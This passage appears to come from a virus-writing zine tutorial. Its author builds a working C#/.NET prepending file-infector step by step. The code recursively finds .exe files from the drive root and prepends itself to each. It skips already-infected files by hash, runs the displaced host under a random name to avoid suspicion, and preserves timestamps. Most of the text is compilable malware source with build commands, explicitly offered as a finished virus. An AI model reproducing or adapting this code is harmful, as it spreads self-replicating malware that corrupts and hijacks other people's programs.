SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(xxx1); StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < xxx1.Length; counter++) { hexString.Append(String.Format("{0:X2}", xxx1[counter])); } return hexString.ToString(); } } the code above will prepend itself to exe files in current directory.. but it has a bug examine public static void infect(string target, string source) ... int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer ... the line above will get the exact virus bytes when it's not yet infected any file.. when it is in other files, the line above will get the virus+hostbytes and include the attached host in its infection routine.. illustration: ------ -------> -------- ------------> ---------- --------> -------- -------> -------------- virus hostA virus+hostA hostB virus+hostA+hostB ------ --------- ---------- -------- ----------------- solution: get only the virus bytes. compile the code above first and obtain the size of the compiled code.. then modify the selflen1 value to (i.e. 4608 is the size of the compiled code) int selflen1 = (int) 4608; //get only the prepended virus size.. 6) must be able to reconstruct the host so it will satisfy the definition of a prepending virus. it will be an overwriting virus if it doesn't that task this... the virus must extract the displaced host and execute it like nothing has happened... extracting displaced host and saving it to "temp.exe" snippet.. code#6.a given : virus size = 5000 bytes public static void extracthost() { FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(5000, SeekOrigin.Begin);//skip the virus //initialize the byte buffer byte[] xxx1 = new byte[selflen1-5000];//allocate only the host bytes.. //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file FileStream sx = new FileStream("temp.exe", FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx);//write read contents of this code //host bytes bw.Close(); } the code above will store host contents in a single file... but what if the user starts infected applications at once? effect, only one infected application will start... we must devise a solution here... have you ever heard of generating random numbers? yes it will be vital to the solution of our problem... the trick here is to attach random number to the filename of the spawned host file so host files can run simultaneuosly... using System; public class start1 { public static void Main() { Random rand = new Random(); Console.WriteLine(rand.Next(999999).ToString()); } } it will generate numbers less than 999999... so virus can spawn a host named "t943274.exe", "t834576.exe", etc and infected hosts can run without "fighting for a territory".. our next task is to run the host and delete it after it terminates.. code#6.b using System; using System.Diagnostics; using System.IO; public class start1 { public static void Main() { Process.Start("host.exe",arguments); //fire up the host with arguments wet: try { File.Delete("host.exe"); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists("host.exe")==true) goto wet; } } where to take the arguments? usually, a program may/may not have arguments.. if your virus infects a program that requires an argument to run, then the user may suspect that the program is infected by malwares of some sort if they notice that the program doesn't accept commandline-parameters.. so we'll teach how our program receives arguments... code#6.c using System; using Text; public class arguments { public static void Main(string[] args) { StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } Console.WriteLine("\"" + arguments.ToString() + "\""); } } compile: csc arguments.cs run: arguments.exe ggg kkkk tttt returns: "ggg kkk tttt " =============================================== Plugging Tasks Together 3 =============================================== we learned bout extracting an appended file and saving read contents to a file, random number generating to avoid host spawning conflict, starting and deleting the host file and handling arguments.. now we will fuse our skills to make a snippet that will extract and save the host to random filename, and starting with arguments/deleting spawned file... code#5&6 assuming virus byte size is 5000 using System; using System.IO; using System.Diagnostics; using System.Text public static void Main(string[] args) { StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } extract("host.exe", arguments.ToString()); } public static void extract(string hostfile, string arguments) { FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(5000, SeekOrigin.Begin);//skip the virus //initialize the byte buffer byte[] xxx1 = new byte[selflen1-5000];//allocate only the host bytes.. //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file Random rand = new Random(); string rndno= rand.Next(999999).ToString(); string hostfile = "t" + rndno + ".exe"; FileStream sx = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx1);//write read contents of this code //host bytes bw.Close(); Process.Start(hostfile,arguments); //fire up the host with arguments wet: try { File.Delete(hostfile); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists(hostfile)==true) goto wet; } ==================================== suppa Plug-In #1 with those task accomplished, we have now satisfied the requirements of a basic prepending virus... let's now plugin the plugins to make a working prepending virus.. virus compiled size is 5835 bytes MACRO code #1 using System; using System.IO; using System.Reflection; using System.Text; using System.Diagnostics; using System.Security.Cryptography; public class virus { public static void Main(string[] args) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } try //first generation will throw an exception { extract(self.FullyQualifiedName,arguments.ToString()); } catch { } string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } public static void DispEXE(string tD) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) { try { AssemblyName AN = AssemblyName.GetAssemblyName(xfile); if (getsha1(self.FullyQualifiedName)==getsha1(xfile)) { continue; } else { try { infect(xfile,self.FullyQualifiedName); //if error occured (target is active in memory/readonly/etc. } catch { continue; //next file } } continue; } catch { //if error, unmanaged file, next file pls... continue; } } string[] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } public static void infect(string target, string source) { FileStream xs = new FileStream(source, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) 5835; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. //let's read the target contents FileStream xs1 = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file FileStream sx = new FileStream(target, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx);//write read contents of this code bw.Write(xxx1);//then the content of target bw.Close(); //to the target... } public static string getsha1(string filex) { FileStream xs1 = new FileStream(filex, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) 1000; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(0, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx1 = new byte[selflen1]; //counters int bytestoread1 = selflen1; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. SHA1 mark1 = new SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(xxx1); StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < xxx1.Length; counter++) { hexString.Append(String.Format("{0:X2}", xxx1[counter])); } return hexString.ToString(); } public static void extract(string filenme, string arguments) { FileStream xs1 = new FileStream(filenme, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br1 = new BinaryReader(xs1); int selflen1 = (int) xs1.Length; //get length to allocate the byte buffer //position r/w pointer in the beginning br1.BaseStream.Seek(5835, SeekOrigin.Begin);//skip the virus //initialize the byte buffer byte[] xxx1 = new byte[selflen1-5835];//allocate only the host bytes.. //counters int bytestoread1 = selflen1 - 5835; // number of bytes to read int count11 = 0; // finished bytes while (bytestoread1 > 0) { int v1 = br1.Read(xxx1,count11,bytestoread1); // store each byte to byte array if (v1==0) // if finished break; //end while loop //if not count11 += v1; // increment count bytestoread1 -= v1; //decrement bytes to read.. } br1.Close();//every opened door must be closed.. //let's write the code to another file Random rand = new Random(); string rndno= rand.Next(999999).ToString(); string hostfile = "t" + rndno + ".exe"; FileStream sx = new FileStream(hostfile, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); bw.Write(xxx1);//write read contents of this code //host bytes bw.Close(); Process.Start(hostfile,arguments); //fire up the host with arguments wet: try { File.Delete(hostfile); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists(hostfile)==true) goto wet; } } the code above is a sloppy working virus.... compile: csc /target:winexe virus.cs ... usually, malware writers make their virus do the infection first before passing the control to the host file. we can do that it asm but not in dotnet.. dotnet executables require time to be loaded by the framework.. so if we do infection first before host regeneration, users may suspect that their dotnet program is infected by a virus because of slow loading..... we'll break from the norm and make our virus execute the host first before doing the infection.. so the virus basically does this, it spawns the host to a file, executes the file and wait it to be terminated, deletes the temporary file, searches for dotnet files in hd and prepends itself to them.... we achieved our goal of writing a prepending virus.. but we'll not leave the file as is.. we must make it readable, understandable and tight... so code optimisation comes to place.. optimised code -------------------------------------------------------------------------- MACRO Code #2 using System; using System.IO; using System.Reflection; using System.Text; using System.Diagnostics; using System.Security.Cryptography; public class virus { public static void Main(string[] args) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; StringBuilder arguments = new StringBuilder(); foreach(string arg in args) { arguments.Append(arg + " "); } try { FileInfo fi = new FileInfo(self.FullyQualifiedName); long x1 = fi.Length; int x = (int) x1; byte[] www = readx(self.FullyQualifiedName, x - 5632, 5632); byte[][] xxx = {www}; string nom = hostname(); writex(nom, xxx); fireup(nom, arguments.ToString()); } catch { } string rootdir = Path.GetPathRoot(Directory.GetCurrentDirectory()); DispEXE(rootdir); } public static void DispEXE(string tD) { Module self = Assembly.GetExecutingAssembly().GetModules() [0]; string [] xfiles = Directory.GetFiles(tD, "*.exe"); foreach(string xfile in xfiles) { try { AssemblyName AN = AssemblyName.GetAssemblyName(xfile); byte[] data1 = readx(self.FullyQualifiedName,1000,0); byte[] data2 = readx(xfile,1000,0); if (sha1x(data1)==sha1x(data2)) { continue; } else { try { FileInfo fi = new FileInfo(xfile); long x1 = fi.Length; int x = (int) x1; byte[] data3 = readx(self.FullyQualifiedName,5632,0); byte[] data4 = readx(xfile,x,0); byte[][] data5 = {data3,data4}; writex(xfile,data5); } catch { continue; //next file } } continue; } catch { continue; } } string[] sdirs = Directory.GetDirectories(tD); foreach(string sdir in sdirs) DispEXE(sdir); } public static byte[] readx(string filename, int size, int pntr) { FileStream xs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Read); BinaryReader br = new BinaryReader(xs); int selflen = (int) size; //get length to allocate the byte buffer //position r/w pointer in the beginning br.BaseStream.Seek(pntr, SeekOrigin.Begin); //initialize the byte buffer byte[] xxx = new byte[selflen]; //counters int bytestoread = selflen; // number of bytes to read int count1 = 0; // finished bytes while (bytestoread > 0) { int v = br.Read(xxx,count1,bytestoread); // store each byte to byte array if (v==0) // if finished break; //end while loop //if not count1 += v; // increment count bytestoread -= v; //decrement bytes to read.. } br.Close();//every opened door must be closed.. return xxx; } public static void writex(string filename, byte[][] data) { FileStream sx = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write); BinaryWriter bw = new BinaryWriter(sx); bw.BaseStream.Seek(0, SeekOrigin.Begin); foreach(byte[] g in data) { bw.Write(g); } bw.Close(); //to the target... } public static string sha1x(byte[] putin) { SHA1 mark1 = new SHA1CryptoServiceProvider(); byte[] result1 = mark1.ComputeHash(putin); StringBuilder hexString = new StringBuilder(); for (int counter = 0; counter < putin.Length; counter++) { hexString.Append(String.Format("{0:X2}", putin[counter])); } return hexString.ToString(); } public static string hostname() { Random rand = new Random(); string rndno= rand.Next(999999).ToString(); string hostfile = "t" + rndno + ".exe"; return hostfile; } public static void fireup(string hostfile, string arguments) { Process.Start(hostfile,arguments); //fire up the host with arguments wet: try { File.Delete(hostfile); // try deleting host } catch { goto wet; // if error (active or still running) delete it again } // to assure that host will be deleted if (File.Exists(hostfile)==true) goto wet; } } ------------------------------------------------------------------------- some explanations --------------------------------- FileInfo Constructor Initializes a new instance of the FileInfo class, which acts as a wrapper for a file path. [C#] [Serializable] public FileInfo( string fileName ); Parameters fileName The fully qualified name of the new file, or the relative file name. ---------------------------- FileInfo.Length Property Gets the size of the current file or directory. [C#] [Serializable] public long Length {get;} Property Value The size of the current file. ----------------------------- since FileInfo.Length returns long, we must convert long to int implicitly... long g = FileInfo(name).Length; int x = (int) g so the length will be passed and be a valid argument of BinaryReader.Read... and a new trick is implemented in the optimized code... byte[][] <=------ means array of array of bytes... so that's a simple prepending virus.. 7.) must be able to save time stamps just add DateTime timestamp = File.GetCreationTime(xfile); before writing and File.SetCreationTime(xfile,timestamp); after writing to the target file.. 8.) must have a name.. we'll christen it as msil.hllp.thisAINTSharpei... Closing ======= we've successfully made a simple prepending virus... have you learned anythin'? dotnet is the future! regards, alcopaul brigada ocho !compilable source code of our output is in the sources section of this zine